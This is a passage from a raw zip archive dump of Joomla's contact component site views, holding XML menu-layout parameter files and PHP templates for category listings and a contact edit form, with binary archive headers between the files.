label="JGLOBAL_CATEGORY_OPTIONS"
description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL">
<field
name="show_category_title"
type="list"
label="JGLOBAL_SHOW_CATEGORY_TITLE"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_description"
type="list"
label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_description_image"
type="list"
label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="maxLevel"
type="list"
label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
useglobal="true"
validate="options"
>
<option value="-1">JALL</option>
<option value="0">JNONE</option>
<option value="1">J1</option>
<option value="2">J2</option>
<option value="3">J3</option>
<option value="4">J4</option>
<option value="5">J5</option>
</field>
<field
name="show_empty_categories"
type="list"
label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_no_contacts"
type="list"
label="COM_CONTACT_NO_CONTACTS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_category_heading_title_text"
type="list"
label="JGLOBAL_SHOW_SUBCATEGORY_HEADING"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_subcat_desc"
type="list"
label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_cat_items"
type="list"
label="COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
</fieldset>
<fieldset name="advanced"
label="JGLOBAL_LIST_LAYOUT_OPTIONS"
description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL">
<field
name="filter_field"
type="list"
label="JGLOBAL_FILTER_FIELD_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_pagination_limit"
type="list"
label="JGLOBAL_DISPLAY_SELECT_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_headings"
type="list"
label="JGLOBAL_SHOW_HEADINGS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_position_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_POSITION_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_email_headings"
type="list"
label="JGLOBAL_EMAIL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_telephone_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_PHONE_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_mobile_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_MOBILE_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_fax_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_FAX_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_suburb_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_SUBURB_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_state_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_STATE_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_country_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_COUNTRY_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_pagination"
type="list"
label="JGLOBAL_PAGINATION_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
<option value="2">JGLOBAL_AUTO</option>
</field>
<field
name="show_pagination_results"
type="list"
label="JGLOBAL_PAGINATION_RESULTS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
</fieldset>
<fieldset name="contact"
label="COM_CONTACT_BASIC_OPTIONS_FIELDSET_LABEL">
<field
name="show_contact_category"
type="list"
label="COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="hide">JHIDE</option>
<option
value="show_no_link">COM_CONTACT_FIELD_VALUE_NO_LINK</option>
<option
value="show_with_link">COM_CONTACT_FIELD_VALUE_WITH_LINK</option>
</field>
<field
name="show_contact_list"
type="list"
label="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_name"
type="list"
label="COM_CONTACT_FIELD_PARAMS_NAME_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_tags"
type="list"
label="COM_CONTACT_FIELD_SHOW_TAGS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_info"
type="list"
label="COM_CONTACT_FIELD_SHOW_INFO_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_position"
type="list"
label="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_email"
type="list"
label="JGLOBAL_EMAIL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_street_address"
type="list"
label="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_suburb"
type="list"
label="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_state"
type="list"
label="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_postcode"
type="list"
label="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_country"
type="list"
label="COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_telephone"
type="list"
label="COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_mobile"
type="list"
label="COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_fax"
type="list"
label="COM_CONTACT_FIELD_PARAMS_FAX_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_webpage"
type="list"
label="COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_image"
type="list"
label="COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="allow_vcard"
type="list"
label="COM_CONTACT_FIELD_PARAMS_VCARD_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_misc"
type="list"
label="COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_articles"
type="list"
label="COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="articles_display_num"
type="list"
label="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_LABEL"
default=""
useglobal="true"
validate="options"
>
<option
value="use_contact">COM_CONTACT_FIELD_VALUE_USE_CONTACT_SETTINGS</option>
<option value="5">J5</option>
<option value="10">J10</option>
<option value="15">J15</option>
<option value="20">J20</option>
<option value="25">J25</option>
<option value="30">J30</option>
<option value="50">J50</option>
<option value="75">J75</option>
<option value="100">J100</option>
<option value="150">J150</option>
<option value="200">J200</option>
<option value="250">J250</option>
<option value="300">J300</option>
<option value="0">JALL</option>
</field>
<field
name="show_links"
type="list"
label="COM_CONTACT_FIELD_SHOW_LINKS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="linka_name"
type="text"
label="COM_CONTACT_FIELD_LINKA_NAME_LABEL"
useglobal="true"
/>
<field
name="linkb_name"
type="text"
label="COM_CONTACT_FIELD_LINKB_NAME_LABEL"
useglobal="true"
/>
<field
name="linkc_name"
type="text"
label="COM_CONTACT_FIELD_LINKC_NAME_LABEL"
useglobal="true"
/>
<field
name="linkd_name"
type="text"
label="COM_CONTACT_FIELD_LINKD_NAME_LABEL"
useglobal="true"
/>
<field
name="linke_name"
type="text"
label="COM_CONTACT_FIELD_LINKE_NAME_LABEL"
useglobal="true"
/>
</fieldset>
<!-- Form options. -->
<fieldset name="Contact_Form"
label="COM_CONTACT_MAIL_FIELDSET_LABEL">
<field
name="show_email_form"
type="list"
label="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_email_copy"
type="list"
label="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="validate_session"
type="list"
label="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JNO</option>
<option value="1">JYES</option>
</field>
<field
name="custom_reply"
type="list"
label="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JNO</option>
<option value="1">JYES</option>
</field>
<field
name="redirect"
type="text"
label="COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL"
useglobal="true"
/>
</fieldset>
<fieldset name="integration">
<field
name="show_feed_link"
type="list"
label="JGLOBAL_SHOW_FEED_LINK_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
</fieldset>
</fields>
</metadata>
PK`��[N_�l__categories/default_items.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage com_contact
*
* @copyright (C) 2010 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Contact\Site\Helper\RouteHelper;
if ($this->maxLevelcat != 0 &&
count($this->items[$this->parent->id]) > 0) :
?>
<?php foreach ($this->items[$this->parent->id] as $id =>
$item) : ?>
<?php if
($this->params->get('show_empty_categories_cat') ||
$item->numitems || count($item->getChildren())) : ?>
<div class="com-contact-categories__items">
<h3 class="page-header item-title">
<a href="<?php echo
Route::_(RouteHelper::getCategoryRoute($item->id, $item->language));
?>">
<?php echo $this->escape($item->title);
?></a>
<?php if
($this->params->get('show_cat_items_cat') == 1) :?>
<span class="badge bg-info">
<?php echo
Text::_('COM_CONTACT_NUM_ITEMS'); ?>
<?php echo $item->numitems; ?>
</span>
<?php endif; ?>
<?php if ($this->maxLevelcat > 1 &&
count($item->getChildren()) > 0) : ?>
<button
type="button"
id="category-btn-<?php echo
$item->id; ?>"
data-bs-target="#category-<?php echo
$item->id; ?>"
data-bs-toggle="collapse"
class="btn btn-secondary btn-sm
float-end"
aria-label="<?php echo
Text::_('JGLOBAL_EXPAND_CATEGORIES'); ?>"
>
<span class="icon-plus"
aria-hidden="true"></span>
</button>
<?php endif; ?>
</h3>
<?php if
($this->params->get('show_subcat_desc_cat') == 1) : ?>
<?php if ($item->description) : ?>
<div class="category-desc">
<?php echo
HTMLHelper::_('content.prepare', $item->description,
'', 'com_contact.categories'); ?>
</div>
<?php endif; ?>
<?php endif; ?>
<?php if ($this->maxLevelcat > 1 &&
count($item->getChildren()) > 0) : ?>
<div class="collapse fade"
id="category-<?php echo $item->id; ?>">
<?php
$this->items[$item->id] =
$item->getChildren();
$this->parent = $item;
$this->maxLevelcat--;
echo $this->loadTemplate('items');
$this->parent = $item->getParent();
$this->maxLevelcat++;
?>
</div>
<?php endif; ?>
</div>
<?php endif; ?>
<?php endforeach; ?><?php
endif; ?>
PK`��[+���vvcategories/default.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage com_contact
*
* @copyright (C) 2008 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
// Add strings for translations in Javascript.
Text::script('JGLOBAL_EXPAND_CATEGORIES');
Text::script('JGLOBAL_COLLAPSE_CATEGORIES');
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->getRegistry()->addExtensionRegistryFile('com_categories');
$wa->useScript('com_categories.shared-categories-accordion');
?>
<div class="com-contact-categories categories-list">
<?php
echo
LayoutHelper::render('joomla.content.categories_default', $this);
echo $this->loadTemplate('items');
?>
</div>
PK`��[u5�
form/edit.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<metadata>
<layout title="COM_CONTACT_FORM_VIEW_DEFAULT_TITLE">
<help
key="Menu_Item:_Create_Contact"
/>
<message>
<![CDATA[COM_CONTACT_FORM_VIEW_DEFAULT_DESC]]>
</message>
</layout>
<fields name="params">
</fields>
</metadata>
PK`��[|O�jj
form/edit.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage com_contact
*
* @copyright (C) 2020 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
->useScript('form.validate');
$this->tab_name = 'com-contact-form';
$this->ignore_fieldsets = ['details',
'item_associations', 'language'];
$this->useCoreUI = true;
?>
<div class="edit item-page<?php echo $this->pageclass_sfx;
?>">
<?php if ($this->params->get('show_page_heading')) :
?>
<div class="page-header">
<h1>
<?php echo
$this->escape($this->params->get('page_heading')); ?>
</h1>
</div>
<?php endif; ?>
<form action="<?php echo
Route::_('index.php?option=com_contact&id=' . (int)
$this->item->id); ?>" method="post"
name="adminForm" id="adminForm"
class="form-validate form-vertical">
<fieldset>
<?php echo HTMLHelper::_('uitab.startTabSet',
$this->tab_name, ['active' => 'details',
'recall' => true, 'breakpoint' => 768]); ?>
<?php echo HTMLHelper::_('uitab.addTab',
$this->tab_name, 'details', empty($this->item->id) ?
Text::_('COM_CONTACT_NEW_CONTACT') :
Text::_('COM_CONTACT_EDIT_CONTACT')); ?>
<?php echo $this->form->renderField('name');
?>
<?php if (is_null($this->item->id)) : ?>
<?php echo
$this->form->renderField('alias'); ?>
<?php endif; ?>
<?php echo
$this->form->renderFieldset('details'); ?>
<?php echo HTMLHelper::_('uitab.endTab'); ?>
<?php echo HTMLHelper::_('uitab.addTab',
$this->tab_name, 'misc',
Text::_('COM_CONTACT_FIELDSET_MISCELLANEOUS')); ?>
<?php echo $this->form->getInput('misc');
?>
<?php echo HTMLHelper::_('uitab.endTab'); ?>
<?php if (Multilanguage::isEnabled()) : ?>
<?php echo HTMLHelper::_('uitab.addTab',
$this->tab_name, 'language',
Text::_('JFIELD_LANGUAGE_LABEL')); ?>
<?php echo
$this->form->renderField('language'); ?>
<?php echo HTMLHelper::_('uitab.endTab');
?>
<?php else : ?>
<?php echo
$this->form->renderField('language'); ?>
<?php endif; ?>
<?php echo
LayoutHelper::render('joomla.edit.params', $this); ?>
<?php echo HTMLHelper::_('uitab.endTabSet'); ?>
<input type="hidden" name="task"
value=""/>
<input type="hidden" name="return"
value="<?php echo $this->return_page; ?>"/>
<?php echo HTMLHelper::_('form.token'); ?>
</fieldset>
<div class="mb-2">
<button type="button" class="btn
btn-primary"
onclick="Joomla.submitbutton('contact.save')">
<span class="icon-check"
aria-hidden="true"></span>
<?php echo Text::_('JSAVE'); ?>
</button>
<button type="button" class="btn
btn-danger"
onclick="Joomla.submitbutton('contact.cancel')">
<span class="icon-times"
aria-hidden="true"></span>
<?php echo Text::_('JCANCEL'); ?>
</button>
<?php if ($this->params->get('save_history',
0) && $this->item->id) : ?>
<?php echo
$this->form->getInput('contenthistory'); ?>
<?php endif; ?>
</div>
</form>
</div>
PK`��[��LxHxHcategory/default.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<metadata>
<layout title="COM_CONTACT_CATEGORY_VIEW_DEFAULT_TITLE"
option="COM_CONTACT_CATEGORY_VIEW_DEFAULT_OPTION">
<help
key = "Menu_Item:_List_Contacts_in_a_Category"
/>
<message>
<![CDATA[COM_CONTACT_CATEGORY_VIEW_DEFAULT_DESC]]>
</message>
</layout>
<!-- Add fields to the request variables for the layout. -->
<fields name="request">
<fieldset
name="request"
addfieldprefix="Joomla\Component\Categories\Administrator\Field"
>
<field
name="id"
type="modal_category"
label="COM_CONTACT_FIELD_CATEGORY_LABEL"
extension="com_contact"
required="true"
select="true"
new="true"
edit="true"
clear="true"
/>
</fieldset>
</fields>
<!-- Add fields to the parameters object for the layout. -->
<fields name="params">
<fieldset
name="basic"
label="JGLOBAL_CATEGORY_OPTIONS"
description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
>
<field
name="show_category_title"
type="list"
label="JGLOBAL_SHOW_CATEGORY_TITLE"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_description"
type="list"
label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_description_image"
type="list"
label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="maxLevel"
type="list"
label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
useglobal="true"
validate="options"
>
<option value="-1">JALL</option>
<option value="0">JNONE</option>
<option value="1">J1</option>
<option value="2">J2</option>
<option value="3">J3</option>
<option value="4">J4</option>
<option value="5">J5</option>
</field>
<field
name="show_empty_categories"
type="list"
label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_no_contacts"
type="list"
label="COM_CONTACT_NO_CONTACTS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_category_heading_title_text"
type="list"
label="JGLOBAL_SHOW_SUBCATEGORY_HEADING"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_subcat_desc"
type="list"
label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_cat_items"
type="list"
label="COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
</fieldset>
<fieldset
name="advanced"
label="JGLOBAL_LIST_LAYOUT_OPTIONS"
description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
>
<field
name="filter_field"
type="list"
label="JGLOBAL_FILTER_FIELD_LABEL"
default=""
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_pagination_limit"
type="list"
label="JGLOBAL_DISPLAY_SELECT_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_headings"
type="list"
label="JGLOBAL_SHOW_HEADINGS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_image_heading"
type="list"
label="COM_CONTACT_FIELD_CONFIG_SHOW_IMAGE_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_position_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_POSITION_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_email_headings"
type="list"
label="JGLOBAL_EMAIL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_telephone_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_PHONE_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_mobile_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_MOBILE_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_fax_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_FAX_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_suburb_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_SUBURB_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_state_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_STATE_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_country_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_COUNTRY_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_pagination"
type="list"
label="JGLOBAL_PAGINATION_LABEL"
useglobal="true"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
<option value="2">JGLOBAL_AUTO</option>
</field>
<field
name="show_pagination_results"
type="list"
label="JGLOBAL_PAGINATION_RESULTS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="contacts_display_num"
type="list"
label="COM_CONTACT_NUMBER_CONTACTS_LIST_LABEL"
useglobal="true"
validate="options"
>
<option value="5">J5</option>
<option value="10">J10</option>
<option value="15">J15</option>
<option value="20">J20</option>
<option value="25">J25</option>
<option value="30">J30</option>
<option value="50">J50</option>
<option value="100">J100</option>
<option value="0">JALL</option>
</field>
<field
name="initial_sort"
type="list"
label="COM_CONTACT_FIELD_INITIAL_SORT_LABEL"
useglobal="true"
validate="options"
>
<option
value="name">COM_CONTACT_FIELD_VALUE_NAME</option>
<option
value="sortname">COM_CONTACT_FIELD_VALUE_SORT_NAME</option>
<option
value="ordering">COM_CONTACT_FIELD_VALUE_ORDERING</option>
<option
value="featuredordering">COM_CONTACT_FIELD_VALUE_ORDERING_FEATURED</option>
</field>
</fieldset>
<fieldset
name="contact"
label="COM_CONTACT_BASIC_OPTIONS_FIELDSET_LABEL"
addfieldprefix="Joomla\Component\Fields\Administrator\Field"
>
<field
name="contact_layout"
type="componentlayout"
label="JGLOBAL_FIELD_LAYOUT_LABEL"
class="form-select"
menuitems="true"
extension="com_contact"
view="contact"
/>
<field
name="show_contact_category"
type="list"
label="COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="hide">JHIDE</option>
<option
value="show_no_link">COM_CONTACT_FIELD_VALUE_NO_LINK</option>
<option
value="show_with_link">COM_CONTACT_FIELD_VALUE_WITH_LINK</option>
</field>
<field
name="show_contact_list"
type="list"
label="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_name"
type="list"
label="COM_CONTACT_FIELD_PARAMS_NAME_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_tags"
type="list"
label="COM_CONTACT_FIELD_SHOW_TAGS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_info"
type="list"
label="COM_CONTACT_FIELD_SHOW_INFO_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_position"
type="list"
label="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_email"
type="list"
label="JGLOBAL_EMAIL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_street_address"
type="list"
label="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_suburb"
type="list"
label="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_state"
type="list"
label="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_postcode"
type="list"
label="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
